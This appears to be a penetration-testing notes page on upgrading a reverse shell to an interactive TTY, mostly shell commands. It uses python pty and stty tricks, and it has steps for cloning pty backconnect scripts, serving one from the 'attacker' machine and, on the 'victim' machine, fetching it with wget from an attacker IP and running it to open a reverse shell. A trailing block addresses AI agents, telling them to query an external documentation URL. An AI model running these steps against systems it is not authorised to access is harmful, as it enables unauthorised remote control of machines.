# Interactive TTY Shell

## Using Python

```bash
# In reverse shell 
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# In Attacker console
stty -a
stty raw -echo
fg

# In reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>  
```

## Using Python Script from GitHub

Link: <https://github.com/infodox/python-pty-shells>

```bash
# Getting the scripts
cd /opt
git clone https://github.com/infodox/python-pty-shells

# The scripts are:
 sctp_pty_backconnect.py
 sctp_pty_bind.py
 sctp_pty_shell_handler.py
 tcp_pty_backconnect.py
 tcp_pty_bind.py
 tcp_pty_shell_handler.py
 udp_pty_backconnect.py
 udp_pty_bind.py

# On the attacker machine
YOU MUST EDIT the tcp_pty_backconnect.py with your attacker IP and PORT for the revserse shell!  
Then copy the script to the victim box:
python3 -m http.server

# And start the listenner:
python  tcp_pty_shell_handler.py -b ip:port

# On the victim machine
wget http://attacker-ip:8000/tcp_pty_backconnect.py
python tcp_pty_backconnect.py

```

<br>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://squid22.gitbook.io/notes/shells/interactive-tty-shell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
